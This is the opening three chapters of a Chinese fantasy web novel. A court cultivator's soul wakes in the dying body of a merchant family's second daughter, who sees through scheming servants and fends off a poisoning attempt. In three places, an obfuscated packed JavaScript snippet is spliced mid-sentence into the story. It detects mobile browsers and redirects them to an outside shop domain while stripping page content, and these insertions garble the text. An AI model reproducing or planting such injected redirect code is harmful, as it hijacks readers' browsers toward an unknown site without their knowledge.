《宿敌接了我抛的绣球后》 1. 春意 檐角铁马蓦地一撞,晶莹碎玉落了满阶。 余音未绝,这串清脆的撞击声跌跌撞撞闯过雨幕,穿透窗棂,直直楔进梦里。初清叙在黑暗中猛地睁开眼,心脏像是被那铃响勾住,猝然悬停,又重重砸回胸膛。 闪电劈开雨夜,惨白的光涌进来,照亮一张清减的、毫无血色的脸。 门外守夜的侍女被屋内的闷响惊醒,提着裙摆便急匆匆推门而入,“小姐!” 初清叙瘫软在地,勉力撑着半边身子,一口鲜血已溢满指缝。她任由一旁的陌生女子将她扶起,浑噩的神识逐渐回拢。 不对劲。 这里不是王庭。 这不是她的身子。 “小姐又咯血了……快,快去请大夫!”侍女慌慌张张吩咐着什么,脚步声杂沓而去。 初清叙被搀回塌上,后背抵上软枕,酸痛顿时蔓延至四肢百骸。她压下茫然与违和感,借着烛火的微光不着痕迹地打量陌生的房内光景。 方寸大的地方,一眼便看尽了,陈设尤为简陋——帷帐是洗得发旧的青布,妆台上脂粉盒子零星,铜镜边缘生了暗绿的锈。 除却逼仄的环境外,还有这极为紊乱的脉象。初清叙医理不算精通,但也能摸出这具身体虚弱至极,罹患不治之症。 借尸还魂么。 有人坐不住了。 初清叙深知自己与戚容与联姻一事不会顺利,可千防万防,怎么也防不到已失传千年的禁术上来。 眼下,她的魂魄被拘在了一位病歪歪的,时日无多的小姐身上,也不知是什么时候了,婚期过没过。 “小姐。”一垂髫小婢端着盆热水走进来,面上带着藏不住的担忧,“大夫还要一会儿才能来,婢子先给您擦擦脸。” 她操着一口温软的方言,一声“小姐”绕得千回百转,如此声调,初清叙大致能猜出此刻她大致在南源,王庭的几千里外。 她对这处的方言不算陌生,但拿不准原主的性格,便做出一副气喘的虚弱样,没有开口。好在小侍女应当是个活泼的性格,与原主也称得上亲昵,一边替她擦唇角与掌心的血渍,一边叹气:“今日才初二,这雨还要下好几日,天气阴沉沉的着实不利于小姐养病。” 初清叙顿时想到一个地方—— 南源和林府,七月伊始,暴雨如注。 应当就是这了。 那今日该是七月初二,距离婚期不过还剩两日了。 侍女绞着毛巾,清澈的水里瞬间浮起一层淡淡的红。初清叙移开目光,拥着被子闭上了眼。见状,侍女替她掖好被角,轻手轻脚地退下。 “暮荷倒完水便回来,小姐仔细着,芙菱也在外头,有事拉铃吩咐便好,可别再摔着了。” 耳边只剩下雨打芭蕉的细碎声响,夹杂着廊前铁马偶尔的呜咽。这位暂不知名的小姐的身子骨太轻了,轻得像一捧灰,饶是初清叙脉象衰竭,也没体会过此等无力。 她在心底盘算着,两日是怎么也赶不回王庭的,婚期无限后延,利弊涉及太多,一时间她竟拿不准,到底是谁看上她这条烂命了。 外头忽然传来一阵急促的脚步声,踩得积水啪啪作响。 “……大夫来不了……路淹了……” “姜总管说……明日……” 初清叙睁开眼,忽闪的红烛在帐上投下摇晃的影。暮荷进了屋内,有些看不清她的脸。 “小姐,大夫今日来不了了,山路淹了,明日一早,姜总管说准能请来。”暮荷眼眶微微发红,端着盏的颤得不停,悲愤极了。 她咬着唇,泪珠子在眼中打转,却硬生生憋着不肯落下来。 初清叙虽没摸清楚原主的性子,但那张稚嫩的脸上满是关心。她便捏着袖子,细细擦去小姑娘眼角溢出的泪。 滚烫的热泪蹭在冰凉的指尖上,初清叙生出一股揪心的痛意。 ——这不是她的情绪。 暮荷抽咽了几下,还是忍住了。 见她模样如此乖巧,初清叙拍了拍她的头顶,问:“暮荷,你觉得我是一个什么样的人?” 语气舒缓,闲聊似的。 “啊?”暮荷怔住了,张着嘴歪着脑袋思索半天,愣愣答道,“小姐是顶好的人。” “就这样?”初清叙反问,火光映在她瞳孔里,摇曳成迷人的漩涡,淡如水的削瘦面庞平添了几分怡然的色彩。 暮荷从未见过这样的小姐。 小姐是文秀的,温柔的,端庄的,却从未有过这样大气的时候。 她被这样的小姐迷住了,忍不住吐露更多,“小姐……小姐是暮荷的恩人。小姐会给街边的乞儿买糖,总是给房里的大家赏银子,小姐还爱看书,学东西快,还教大家识字……小姐……”说到最后,话语里又染上了哭腔,但暮荷还是磕磕绊绊地继续,“小姐就算得了怪病……痛得…痛得难受了也很少发脾气,小姐是暮荷在这世界上认识的最好的人……” 初清叙在心底叹了口气,将那施展禁术的人无声地骂了一通,坐起身将暮荷搂进怀中,一下又一下地轻拍她的后背。 原主病得厉害,浑身寒凉,但厚重的被褥压在身上压久了,也能生出一丝热度来。因而暮荷贴上她的胸膛时,感受到的是织物的柔软与身躯的温暖。她终于忍不住放声大哭。 而初清叙借着这个姿势,看清了暮荷长发掩住的颈侧,有一个指甲盖大小的血洞。 屋外仍旧电闪雷鸣。 在暴戾的雨声与暮荷止不住的哭声里,初清叙辩出一丝别的动静。 尖锐的,哭喊的,女子的嗓音。 “你这是杀人!”那声音终于被初清叙听清,她心生疑惑,停下安抚暮荷的动作。 暮荷也立刻反应过来,有些不好意思地看着小姐胸前的一片湿痕,行了个礼便转身,“小姐,我去外面看看发生何事了。” 待她合上门,初清叙终于支撑不住,扶着床沿呛出一大口暗红的血。 这小姐到底生了什么病? 她淡定地拿起帕子擦净污痕,指尖却不受控制地细细密密的颤抖。 外头的动静越来越大,初清叙扯过一件披风,裹在身上便下床了。 大约是魂魄还没能与这具身体很好的契合,这段路她只能扶着墙慢慢走,等终于到了门边,已彻底没了力气。 她抱臂依靠在门框上,微喘着气,静静地看着几人在廊下吵架。 “姜总管,您摸着良心说,山路当真淹得那样厉害!往常比这还大的雨,您不照样请得来大夫!”一个穿着青灰比甲的侍女立在廊下,雨水溅湿了她的裙摆,她却顾不得,只直勾勾地盯着面前撑着伞的中年男人。 姜总管生得白胖,伞沿压得低,看不清他的神情,只有一张被肉挤得凸起的嘴唇开合着,语气温和,“芙菱姑娘这话说的,我何苦诓你们不成,山上那道坡你们也知道,雨水一泡,泥都松了,人走上去,一个不稳当就得滚下来。今儿个雨这么大,真走不了!待明日一早,天放晴些,我亲自去给二小姐请大夫!” “明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408834|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日一早?”被唤作芙菱的婢女冷哼一声,“昨夜小姐烧了一宿你便拦着我下山,现如今小姐咯血你还拦我!再拖下去——” 后边的话被暮荷止住了,她拉着芙菱的袖子,声音里带着央求,“你小声些,别叫小姐听见了……” 三人都是不修道的普通人,忙着应付眼前的人事,没发觉初清叙已在开了半扇的门边站了许久。 “小姐听见了才好!”芙菱一把甩开暮荷的手,气得浑身发抖,“小姐就是太好性了!才叫这些人一个个作践!咱院里份例一减再减,请大夫推三阻四!不是路淹了就是大夫出诊了——姜总管,您倒是说说,您这个总管管哪去了!” 这已经是明晃晃地苛责了,姜总管终于抬起伞沿,露出眯缝的含着笑的眼,“芙菱姑娘,你说话可得讲良心,我奉夫人的命来照看你们,二小姐生母一事是夫人心善不欲追究,又特允了二小姐上山清净养病,已是仁至义尽了呐。” 仁至义尽。 这几个字从白胖总管嘴里吐出来,竟带着几分理直气壮的慈悲相。初清叙垂着眼,将这三人的神色收进眼底——芙菱捏着袖子气得满脸涨红,暮荷缩在她后头强撑着气势怒目横对,而那姜总管,油光水滑的脸上,轻蔑与自得几乎满溢出来。 初清叙在权力中心谋划百年,眼下这番手段,见识得也不少了。 “姜总管。” 她气定神闲地出声,廊下三人齐齐一震。 暮荷最先反应过来,立马小跑着靠近,语夹惊惶,“小姐!您怎么出来了!这雨泼进来,您不能吹风——” 初清叙抬手止住她,将披风拢紧了一些。这身子虚透了,就站这么一会儿,腿肚子都在颤,但她面上丝毫不显。 姜总管堆着笑往前迎了两步,“二小姐怎么亲自出来了,对不住对不住,怕是方才太大声惊动了您,这大雨天的,您仔细着别着凉。” 方才还气势汹汹的芙菱这会儿也凑了过来,她身量比原主高上不少,站在她跟前挡住了不少风。 初清叙被两个小姑娘簇拥着,倍感新奇,蓦地弯了弯眼。 暮荷与芙菱没觉出些什么,但姜总管正对着她,看得分明。他不自觉地咽了口口水,生出一种被看穿的错觉。 可下一瞬,二小姐掩唇咳嗽了几声,仍是那一副熟悉的怯弱的样子。 “姜总管有劳了。”她虚虚地抬起手,上面沾着猩红点点。在那张阴冷惨白的脸上,唇色也艳得不同寻常,硬是让姜总管后背出了层白毛汗。 初清叙任由暮荷捏着她的手给她擦血污,下巴点了点芙菱,“芙菱,你去取点银子给姜总管。” 一副命令惯了的语气,听得芙菱想也没想就应下声,等走出两步了才反应过来。 “二小姐,您这是?”姜总管心感不妙,莫名塞银子是想做什么。 下一刻,他内心预感成真。 “我方才瞧见后院里有个樵夫背着捆柴上了山,想必他自然是有下山办法的,姜总管您打点一下,让那樵夫请个大夫来。” 话音刚落,芙菱就将一个小袋子递到他手里。他还要说些什么,二小姐却透出点不耐烦,“还不快去。” 姜总管眼珠子转了两下,撑着伞退了。 “芙菱,你去看着点他。”转身回屋前,初清叙又吩咐道。 “是,小姐。” 姜总管与芙菱一前一后走在雨里,对视一眼,从对方眼里都看出了一个意思—— 这回的二小姐,怕不是一个好惹的主。 2. 春意 距初清叙借尸还魂才过了半个时辰,但这具身子实在太差,她恹恹地躺在床上,隐约觉得发起了烧。 恍惚间,有人在黑暗中靠近。初清叙本能地擒住那人手腕,指节却软绵绵地搭上去,全无力气。 “小姐,是我。”暮荷点了蜡烛,昏黄的火光中,她的一双杏眼漾出了非同寻常的审视意味。 初清叙看得分明,轻轻笑了一声。 真是群狼环伺啊。 烛火被窗缝漏进的风吹得晃了晃,暮荷的脸在光影里明灭一瞬,那点审视便如投石入水,涟漪散尽,只剩下含满水的眼。 “小姐又发热了。”她将浸凉的布巾敷在初清叙的额头上,替她掖好被角,“婢子去看看大夫来了没有。” 初清叙没应声,阖上了眼。 门轴吱呀一声,又很快掩好。 雨似乎小了一些。 再意识清醒时,榻前多了一个人。 大夫是个精气神看着很不错的,头发花白的阿婆,也不必顾忌什么,大咧咧地把着初清叙的手腕,眉头紧蹙。 接着她收回了手,轻声对着三个侍女吩咐。 初清叙困倦极了,在持续不断的耳鸣声里,只能勉强听清“简二小姐”“心血两亏”“痼疾”几个字眼。 原主姓简。 这是初清叙彻底昏死过去前的最后一个想法。 待她醒来能下地时,已经是第二日未时了。 初清叙许久没能在床榻上躺这么久了,居然躺出了一点休沐感。如此想着,免不得又想到了王庭那一揽子糟心事,她无奈地哄着自己趁着侍女们不注意,抓了几块石头草草摆了个传音阵。 巫祝一脉内部专用,谁在附近便能喊到谁。 暗紫色的阵纹亮起,很快就收到了回应。 初清叙了然,拿脚尖将石堆踢乱,见有小厮朝这走来,率先装作没事人一般慢悠悠地飘回屋里。 她没有原主的记忆,幕后之人还不知究竟有什么盘算,她暂不能亮明身份,做事便要格外小心。 但活了两百年,初清叙遭过的难比这还严重的多了去了,哪怕是神魂被困,她依旧有手段。 经年累月的、源源不断的暗算、刺杀、陷害,让她研制出了不少稀奇古怪的秘法。 譬如“司命”。 司命不需要灵力也能使,她闭上眼,任由自己的感知蔓延到这座宅院的每一处……无论是侍从的交谈,亦或是院落墙角的苔藓,尽于她的掌握中。 再睁眼,初清叙把原主身份弄清了大概。 原主是南苑和林府当地豪绅简氏的二小姐,名为简春意,妾出,但生母已死。家中还有一对姐弟,均是正房夫人的孩子。 简春意自幼体弱,简府周边喧闹繁华,大夫人担忧不便养病,时常将她送到山上来静养,贴身的侍女们跟着伺候她。 但山上这座院子——内部陈设破败简陋不提,朝向、景致、木材,汇聚在一起,让这方小院成了一个能将人困死的锁灵阵。常人在此呆久了轻则呕血重则暴毙,更别提简春意这样的了。 初清叙拢了一把散乱的长发,缓缓吐出一口气,想在这不大的屋内寻个纸笔,但找了一圈却一无所获。 依暮荷的说法,简春意是个爱看书的人,但她这一通找下来,别说书了,连张纸都没看到。 一个爱书的人,会在一个可能需要暂住月余的地方不放些书吗? 暮荷提到过简春意心善,对她有恩、给乞儿买糖、赏银子……这些都在司命时得到了佐证,那暮荷何苦又编出一个“爱看书”的名头来。 当真是迷雾重重。眼下线索太少,初清叙理不出思路,便只好拿了根发带将头发随手束了起来,决定亲身探一探这院子。 简春意是一眼便能瞧出生在南源的长相,远山含黛似的长眉斜插入鬓,黑白分明的清亮杏眼闪着柔和的波光,清澈又深邃。只是常年待病,面颊瘦削,脸色苍白,显得有些阴郁刻薄。此刻初清叙将一头乌发绾起,两边各落下几缕,恰好掩住了有些凹陷的面庞,显得整张脸愈发精致,更添了几分俊俏。 她在廊前站了片刻,将拾掇好的脸迎向细密的雨丝。凉意沁入皮肤,倒是让人清醒了不少,缓解了一身活动后的燥热与疲倦。 简府不知怎么养小孩的,简春意这身子差到了令人发指的地步,没走几步都得先扶着墙将气喘匀了再说。 初清叙虽然现在只是个魂魄,九境的修为无处可施,但心法仍镌刻于神识上。她感念着天地间的灵气,缓慢吐纳,沉心感受着灵力在经脉内流动,随即停滞。 像是久病造成的淤塞,于常人而言可能会有些麻烦,但对初清叙来说却不是个大问题,不出两日,她就能让简春意的身体可以正常修炼。 擅自使用她人躯体实在不礼貌,初清叙心底默默道歉,然后往虚空握了一把,却只接住了几滴落下的雨珠。 她若有所思。 锁灵阵的缘故吗?她没能在天地间找到简春意的残魂。 就在此时,一阵狂风忽而刮过,竟是直冲初清叙而来!但她立于风暴之中,却连发丝都没乱一分。 王庭剑阵里有一千零八道杀招。初清叙提剑破阵那年,创建锁灵阵的阵师还没出生。如今修为尽失,小小的一个锁灵阵,实在奈何不了她。 幕后之人定是发现了她动用司命,起了试探心思,既然对方有兵刃相交的意愿,初清叙也不好藏锋—— 霎那间,她动了! 葱白指尖凝出一团青金石色光晕,周遭气流扭曲,竟在迅速吸收着天地间灵力,从前被阵法压制的灵力终于找到了入口,疯了似的迅速往她指尖涌去。 青金的光芒开始扩张。 似水墨入画,缓缓渗入天地的纹理之间,它攀过嶙峋的岩石,岩石便褪去凡俗的褐色,绽出玉器的柔色;它漫过枯死的古木,老树便抽出新枝,在寂静的雨里舒展。 若是有人能见到这一幕,便会发觉,一日前的启天祭,大祝饲天时,也是这般光景! 万籁俱寂,万灵伏俯。 但初清叙的力收得极好,除却操控着锁灵阵之人外,无人感受到了这股滔天骇浪的威压。 空气中凝结出细小的晶子,是灵力有了实质,一瞬间,天穹、深海,所有的颜色为之倾倒,拜伏在青金下,无处不在的光柱渗透了锁灵阵,无形的阵法居然蔓延出了裂隙。 夺人性命的锁灵阵便在这弹指间,被初清叙瓦解了。 连呼吸都变得轻盈,她收了手,松快了不少,沿着回廊慢慢走。脚下的木板被雨浸得发潮,踩上去吱呀作响。 而百里之外的一间密室内,有人猛得睁开眼,桌上阵盘碎成齑粉,猝然吐出一口腥血。 转过角,初清叙看到暮荷撑了把伞,在雨中望着门的方向出神。她顺着她的目光瞥了一眼,只看到一名小厮打扮的人驾着车下山。 身影越来越远,暮荷却执拗地不肯收回视线。她的侧脸在雨幕里显得很静,没有昨夜泫然欲泣的柔软,眉眼温顺地低垂着,那一打眼的石像般静默的审视仿佛成了初清叙的错觉。颈侧那点被长发掩着的血洞,因她微侧的角度,露出了一点暗红的规整的边缘。 风过,檐铃炸开一声响。 暮荷被吓了一跳,这才收回视线,转过身来,却见初清叙毫不掩饰地打量着她。瞬间,她脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408835|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的沉静化作惯常的担忧,“小姐,外头又潮又冷,您——” 她小跑着过来,将伞安置在一旁,要来扶初清叙的胳膊。 初清叙没躲,由她扶着,“屋里呆久了有些闷,出来透透气。” 暮荷不免嗔怪:“山上不比山下,凉多了,您出来怎么不披件衣服,青棠也真是的——” 青棠是简春意的另一位贴身侍女,初清叙到现在还没见过。 她悟到了重点,偏头看着暮荷的眼睛,问:“青棠呢?” 暮荷脚尖转了个方向,带着初清叙转了半个圈,“在煎药,应是快好了,小姐去看看?” 嘴上客气,但胳膊上传来的力道之大,完全不容初清叙拒绝。 于是初清叙顺从地跟着她的步伐,拉长尾音轻飘飘道:“好啊。” 雨水将所有的声音都泡得发闷。药罐搁在小炉上,咕嘟咕嘟地冒着白汽,青棠正拿着帕子要去揭盖子,听到声音回头,眼里映出两个人影。 “小姐怎么过来了?”她手上动作不停,将药滤进碗里,只余下药渣淀在罐底。 药汤正烫着,暮荷主动地找了把扇子扇风,替初清叙答道:“屋里头闷,我便带小姐到处转转。” 初清叙但笑不语,也不拆穿。 见初清叙大有在这喝药的架势,青棠想了一下,点了点头,“透透气挺好的。”然后握着药罐的柄要去外头倒药渣。 初清叙点了点青棠的肩膀,拦住她。 “放会儿,不嫌烫吗。”她握着青棠的手腕,加了点力道,迫使她放下红泥药罐,然后掰开小侍女的手指,露出被烫得红通通的掌心。 忧愁在初清叙的眉宇间化开,“去过个凉水吧。” 青棠听话地转身去舀水。 趁这个功夫,初清叙找了根筷子,挑开药渣仔细分辨,在听到水流停下前的一瞬,又立马复回原样。 青棠转过身时,看到的仍是对着药一副愁眉不展的模样的小姐,她便自发出去寻蜜饯来。 见青棠离开,暮荷端着已能入口的药碗过来,“好了,小姐喝药吧。” 初清叙被苦味熏得难掩嫌弃,却还是一饮而尽,她将碗还给暮荷,起身时在她耳边报了几味药材的名字。 “去查。” 简春意身边三个丫鬟,各个心怀鬼胎的模样。暮荷不知是与简春意,亦或是擅自和刚到这里的自己,达成了某种合作。初清叙吩咐起来毫不客气。 青棠乍看是个普通的小丫头,但走路的姿态分明是习过武。 而芙菱……她有八成把握,确信芙菱与姜总管都是夫人的人。 ——俩人就在她房门前吵,生怕她听不到似的,一来一回顺畅得同提前练过一般。常人吵架,多半都气血上头吵到脸红脖子粗,芙菱脸上那点红晕却是因扯着嗓子喊话呛出来的,相较之下平静得有些太不符合她表现出来的性子了。 二人为何要演这场戏给她看? 初清叙边走边想,但脚下方向不乱,暮荷在一旁只需稳稳当当地撑着伞便好,不必担忧她神游天外而迈歪步子。 是了,引导! 芙菱与姜总管这一处既是为了引她出来,那自己身上必有什么值得他们观察的地方。初清叙回忆着自己昨夜的一举一动,她敢与姜总管直接对上是因为她感受到了姜总管对简春意的微妙的怨恨,二人之间定有过节,因此她也没必要留有情面。 而她那一番话后,怨恨果然不减不增,显然姜总管也习惯了简春意的这般对待。 可芙菱呢? 司命探查发现,芙菱与简春意情同姐妹一般,那小侍女又是以什么立场加入这场戏的? 3. 春意 夜。 虽刻意压制但仍显急促的脚步声四处乱撞,窗外夜明珠与提灯次第亮起,时不时夹杂着几句压着嗓子的“找过了不在”“到底去哪了”。 初清叙推开门,正撞上青棠迎面跑过。 “发生什么事了?” “小姐……”青棠嘴唇嗫嚅,像是在犹豫说不说,“芙菱……芙菱她不见了。” “不见了?”初清叙追问,“最后一次见到她是什么时候?” “是酉时。”青棠跨过门槛,压着慌乱,尽职尽责地将门掩上,“夜间凉,小姐早些歇息吧,有奴婢们在找呢,芙菱不会出事的。” 初清叙拗不过她,被半推半扶地带回塌上。 但她并未真的歇下,而是盘膝而坐,用心法不断地浸润堵塞的筋脉,缓缓打通一条可供灵力出入的小径,现已成功大半了。 修炼的事不日就能提上日程,初清叙放松了些,神识笼住整座山头,寻找着芙菱的踪迹。 她不像是会乱跑的人,除却遭遇危险外,初清叙更倾向于芙菱被姜总管,亦或是夫人秘密叫走了。 果不其然,初清叙在山侧一条小路上发现了一架马车,芙菱掀帘下车,缓慢往小院踱。 很快,房外就传来了侍从们激动的欢呼声,他们显然都松了口气,有几道声音里甚至隐隐约约夹带着哭腔。 “可担心死我了,你去哪了。” “是我错啦,下山办了点事,给你们带了酥饼。” 初清叙匿息藏在暗处,看小侍女们拥在一块。 青棠与暮荷背对着看不清神色,唯有芙菱,一双显然哭红的眼与眉宇间化不开的焦躁不安,在小小的一张脸上色盘掀翻一般凌乱。初清叙忽然觉得她看着面熟,但始终想不起来有谁长这样。 但更令人在意的,是她周遭,骤然疯长的怨恨,如有实质般朝初清叙扑来,几乎带着同归于尽的决绝。 初清叙又看了会儿,等她三人都散了才闪身回房。 今日是七月初四。 初清叙满打满算不过才到这十几个时辰,多数时候还被病体拖累着昏昏沉沉的睡过去了。她对着铜镜里那张仍感陌生的脸,分出神去想姜总管为何突然变了个态度。 一刻钟前,姜总管是带着下山的消息来的。白胖的脸上因笑堆出了几道褶子,每道里都搀着明晃晃的谄媚。 等暮荷为她梳妆完毕,初清叙也有了大致头绪,缓步离了房间。 外面停着辆马车,与昨夜送芙菱上山的看起来是同一辆。驾车的小厮就算坐着,也难掩身量高挑,脸上还蒙着块布,初清叙不由得多看了两眼,恰巧与小厮对视上。 他生了双瑞凤眼,深邃的眼底却如寒潭一般死寂。 只一瞬,两人很快就各自别开眼。 暮荷跟着初清叙进了马车伺候,青棠同芙菱在外面候着。车厢内软塌茶具一应俱全,环境要比初清叙预料中好上不少。 马车辘辘碾过泥泞山路,雨势渐渐收束成丝。 初清叙倚着软枕,指尖搭在腕脉上,悠悠叹了口气。这具身子太弱,连马车轻微的颠簸都受不住,五脏六腑像被人攥在手心里揉搓,痛得几欲作呕。她掀起车帘一角,山道两旁树木葱笼,水汽氤氲如纱,确实是个清幽僻静的好地方。 “小姐,吃颗梅子压一压。”暮荷从暗格里端出个瓷碟,上面码着几颗腌渍的梅子,乌沉沉的,散发着酸甜的气息。 初清叙捏了一颗含在口中,倒真压住了翻涌而出的恶心。她打量着小侍女——暮荷今日头发绾了上去,换了身藕荷色的高领衣裳,颈侧血洞被衣领遮得严严实实。偏偏她此刻正低着头,拿帕子擦拭初清叙的指尖,正巧露出了一点端倪。 但转瞬即逝,暮荷掖好她腿上的毯子,便缩在一旁不说话了。 车轮声、马蹄声、雨声与远处的山涧水声,混成了一片模糊的闷响。初清叙在这令人昏昏欲睡的噪音里不自觉想到了远处的王庭。 ——启天祭才毕,巫祝上下仍需她坐镇;明日便是婚期,先前那么多准备都因幕后之人泡汤……积累的麻烦越想越多,初清叙没觉得棘手,反而嗅到了些大厦将倾的尘土味。 马车行了大半个时辰,终于驶出山路。官道平坦了许多,颠簸渐止,初清叙撩起车帘——远处田畴如棋,屋舍俨然,一条小河蜿蜒穿过镇子,两岸柳枝垂水,一片富庶温和的景象。 “小姐,快到了。”暮荷指着前方一片青瓦白墙的宅院。 初清叙顺着她手指的方向望去。宅院占地极广,飞檐翘角掩在绿树浓荫里,门前的石狮子被雨水洗得发亮,气派得很。 马车在侧门停下,脚刚落地,便有个穿金戴银的嬷嬷迎上来,笑得慈爱,“二小姐可算回来了,夫人在花厅等着呢,说今儿个无论如何也要接您回来住几日。” 初清叙认出她衣裳料子比姜总管还好,便知她在府里有些体面,于是微微颔首,声音放得又轻又软,“有劳嬷嬷。” 那嬷嬷上下打量了她一眼,目光在她苍白的脸上停了停,又飞快地移开,侧身引路,“二小姐请。” 进了侧门,是一条抄手游廊,廊下摆着几盆修剪整齐的兰草。初清叙走得不快,将沿途景致尽收眼底——回廊曲折,假山玲珑,每一处转角都恰到好处,一看便是花过大心思的。但总觉得有股说不出来的异样。 “二小姐有所不知。”嬷嬷察觉到她问询的目光,边走边说,“前些日子夫人请了位高人来看风水,说府里水气太重,要把这些带水的东西都撤了。这不,池子填了好几个,连井都封了两口。” 初清叙心底微微一动。 “那高人可还在府里?”她问得随意。 嬷嬷摇头,“早走啦,留了几日便走了,说是去云游。” 说话间已行至花厅。还未进门,便听见里头传来说笑声,一个年轻女子的嗓音清脆得像滚珠,“……母亲您就放心吧,二妹妹回来住几日,我那儿还有些上好的燕窝,回头给她送去……” 嬷嬷掀开帘子,高声道:“夫人,二小姐到了。” 初清叙在帘子落下的瞬间,按司命得来的说法调整了表情:眉眼低垂,肩背微缩,将那副病弱躯壳的怯意演了个十足十。她迈过门槛,抬眼时已是一汪含愁带怯的秋水。 花厅里坐着三个人。 正中榻上的妇人四十来岁,保养得宜,穿一身沉香色暗纹褙子,头上只簪了支白玉兰簪,通身的气度比这宅院还要沉上几分。这便是大夫人秦苒了。 她左手边的椅子上坐着个年轻女子,鹅蛋脸,柳叶眉,一身石榴红的裙衫衬得她面若芙蓉,手里捏着把团扇,正笑盈盈地看过来——应当是那位说要送燕窝的大小姐简舒唯。 简夫人右手边还站着个少年,十七八的年纪,生得唇红齿白,只是眉宇间带着几分骄矜。见初清叙进来,他只略略点了点头,算是见过了。想来是秦苒的二子简韶之。 “春意回来了。”秦苒开口,声音寻常,听不出些别的。 “劳母亲挂心,一切顺利。”初清叙屈膝行礼,动作慢了些,像是体力不支,暮荷立刻上前扶住。 简舒唯团扇掩唇,笑道:“二妹妹这身子骨,真是一点风都吹不得,山上养了这些日子,怎么还瞧着不如从前了。” 话说得亲亲热热,意思却耐人寻味。初清叙垂下眼睫,声音细细的,“姐姐说的是,大约是近日落雨,受了凉。” 秦苒看了简舒唯一眼,女子便收了笑,起身过来挽初清叙的手,“瞧我,尽说这些做什么。二妹妹快坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408836|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,站着怪累的。” 她的手温热干燥,握上来时的力道恰到好处,既不显敷衍,也不让人觉得亲昵,当真是个大家闺秀的教养。初清叙由她牵着坐到一旁的椅子上。 “这次回来,就在家里多住些日子。”秦苒端起茶盏,抿了一口,“山上湿气重,对你身子也不好。我让人把你从前的院子收拾出来了,被褥都换了新的,炭火也备足了。” 初清叙想着,七月暴雨的惯例已延续百年,若真担心山上湿气,七月前就该把人接下山了,却偏偏要等过了雨最大的几日。但她面上仍是懦弱样,应了声是。 秦苒又拉着她说了几句话,便将她放走了。暮荷与青棠随着她回院子,芙菱却不知又去了哪。 简春意的院子在东边,与正院隔着一道月洞门。院中种着几丛翠竹,被雨水洗得碧绿。只是推开房门时,她嗅到了一股因长久不住人而生出的极淡的霉味。 暮荷已经麻利地点上了熏香,青棠去铺床叠被,动作快得像一阵风。初清叙立在门边,将这间屋子看了个遍:比山上那间宽敞许多,桌椅床榻都是上好的花梨木,妆台上摆着几盒脂粉,铜镜擦得锃亮。靠窗的案上甚至还放了只青瓷小瓶,插着两枝新鲜的茉莉,幽幽地散着香。 处处妥帖周到。 “小姐,您先歇歇吧。”暮荷端着杯热茶过来。 初清叙接过,抿了一口。茶是好茶,但其实她不喜热茶,这话却不能说出来,于是她很快就放下茶盏,问:“芙菱去哪了?” “夫人说给咱院里添点东西,唤了芙菱去清点。” “知道了,你先下去吧。” 初清叙盘腿坐在榻上,竹帘半卷,雨后的光透进来,柔和得近乎寡淡。 她阖着眼,无声地运转心法,灵力如细丝般在经脉中游走,所过之处,那些淤塞的穴位便像冻雪遇到了暖阳,一点一点地化开。 待经脉疏通,感受着体内微弱的灵力流转,她缓缓吐出口浊气,指尖微颤。 “既然都到门口了,何不进来。”初清叙声音不大,刚好能让门后站着的人听清。 木门被无声地推开。 扎着俏丽的双环髻的小侍女背着手,一步一步实实地踏在地面上,绣花布鞋与石砖摩擦出微弱的闷响。 初清叙托着腮,“想杀我?” 寒光暴起。来人的匕首又快又狠,但细看却能发觉握柄的虎口微微震颤。这一击没有悬念地被初清叙躲开了,侍女也不气馁,从袖口抖落出一包粉末来,洁白的粒子如雪一般飘下。 千鳞花的花粉,剧毒,没有灵力的人吸入即死。初清叙自己窗台上还种着一盆千鳞花,对它了如指掌,在粉末落下的一瞬间便用灵力化了空气中没来得及溢散的毒,只余下微微的腥气。 “当啷——” 匕首砸在地上。 “你到底是什么人?”芙菱惊恐地后退一步。 两人之间的打斗实在太没悬念了,初清叙甚至没从榻上下来。 二小姐清澈的杏眼却深不见底,芙菱找不到自己在其中的身影,但那人偏偏语气和蔼,一副好商量的口吻:“把你知道的告诉我,我放你一命如何?” “我若说不呢?”芙菱和前夜做戏时那样,梗着脖子挺直肩背,直勾勾地盯着前方。 “提醒一下,你没有这个权利。”身后忽然有人按住了她的肩,声含愠怒。 剧痛让芙菱踉跄一瞬,她惊惶地扭头,看着不知何时突然出现的女人:“你是谁?” 乌霜月没有回答,干脆的一掌劈落,芙菱连挣扎都没来得及,便软绵绵地昏死过去了。 出手瞬间还饱含凛冽杀意的人,收回手时已收敛得干干净净。乌霜月垂首行礼,姿态恭谨。 “尊使。” 4. 子衿 